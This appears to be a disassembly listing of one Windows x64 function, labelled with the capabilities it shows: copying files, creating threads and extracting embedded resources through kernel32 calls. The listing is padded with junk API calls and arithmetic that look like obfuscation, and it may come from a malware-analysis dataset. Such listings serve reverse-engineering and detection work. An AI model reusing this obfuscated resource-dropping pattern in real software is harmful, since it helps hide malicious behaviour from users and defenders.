Function at 0x1400d73d0
Capabilities:
Copy file
Create thread
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rsi, rdx
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call qword [sym.imp.USER32.dll_GetActiveWindow]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x140
call fcn.1400e27d0
lea rdx, [rsp + 0x200]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
or rdi, 0xffffffffffffffff
mov r12, rax
mov qword [rsp + 0x78], rax
mov rcx, rdi
nop dword [rax]
inc rcx
cmp byte [rsi + rcx], 0
jne 0x1400d7450
mov ebp, r15d
xor edx, edx
mov r8d, 0x140
sub ebp, ecx
lea rcx, [rsp + 0xc0]
lea ebx, [rbp + 3]
mov dword [rsp + 0x64], ebp
add bl, r14b
mov byte [rsp + 0x60], bl
call fcn.1400e27d0
lea rdx, [rsp + 0xc0]
lea rcx, [0x1400ed3f4]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rsp + 0x340]
mov edx, 0x104
mov qword [rsp + 0x88], rax
mov eax, r15d
sub eax, r14d
add eax, 0xfffffffb
add eax, ebp
mov dword [rsp + 0x94], eax
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov ecx, 0xffff
call qword [sym.imp.KERNEL32.dll_GetActiveProcessorCount]
movsx rbx, bl
lea r13d, [r14 + 5]
lea ecx, [rbx + rbx]
mov edx, 0x373
movsxd rbp, eax
sub ecx, r12d
lea ecx, [r15 + rcx*2]
add r13d, ecx
xor ecx, ecx
lea r8d, [rcx + 0x16]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, 1
mov r12d, r15d
mov rdx, rax
mov qword [rsp + 0x68], rax
sub r12d, edx
mov edx, 0x104
imul r13b
inc r12d
sub cl, al
movzx eax, r14b
imul r12d, r14d
sub r12d, ebx
imul cl
sub r12d, r13d
sub al, bpl
lea rcx, [rsp + 0x340]
add r12d, 7
mov byte [rsp + 0x61], al
add r12d, ebp
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
movsx ebx, byte [rsp + 0x60]
mov qword [rsp + 0x70], rax
cmp r13d, ebx
jne 0x1400d7575
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
call qword [sym.imp.KERNEL32.dll_GetMaximumProcessorGroupCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movsx r8d, byte [rsp + 0x61]
xor eax, eax
lea rdx, str.slice
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r8d
lea r8, [0x1400ed3f4]
mov r9d, r13d
mov ecx, ebx
call qword [sym.imp.USER32.dll_CreateWindowExA]
call qword [sym.imp.USER32.dll_GetActiveWindow]
inc rdi
cmp byte [rsi + rdi], 0
jne 0x1400d75c3
movzx edx, byte [rsp + 0x61]
movzx eax, r15b
imul dil
movzx ecx, al
movzx eax, r15b
imul cl
movzx ecx, al
movzx eax, r14b
imul cl
movzx ecx, al
shl cl, 2
lea ebx, [rcx + rax]
movzx eax, byte [rsp + 0x68]
imul r12b
add bl, al
add bl, byte [rsp + 0x70]
add bl, byte [rsp + 0x88]
add bl, r14b
cmp dl, byte [rsp + 0x60]
jle 0x1400d76d2
movzx eax, bpl
imul byte [rsp + 0x94]
movzx ecx, al
movzx eax, r13b
imul cl
movzx ecx, al
movzx eax, dl
lea rdx, [0x1400ed3f4]
imul cl
lea ecx, [rax + 1]
movzx eax, r14b
imul cl
lea rcx, [0x1400ed3f4]
sub al, r12b
sub al, byte [rsp + 0x64]
sub al, 2
add al, r15b
add al, byte [rsp + 0x78]
movzx r8d, al
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edi, edi
movsxd rax, r13d
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], ebp
lea r8, [0x1400ed3f4]
mov r9d, ebp
mov rdx, rsi
mov ecx, r13d
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExA]
lea r8, [0x140001b00]
movzx r9d, bl
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8d, [rdi + 5]
mov edx, 0x265
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
lea rax, str.spinach
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.1400dd340
mov rbx, qword [rsp + 0x4b0]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret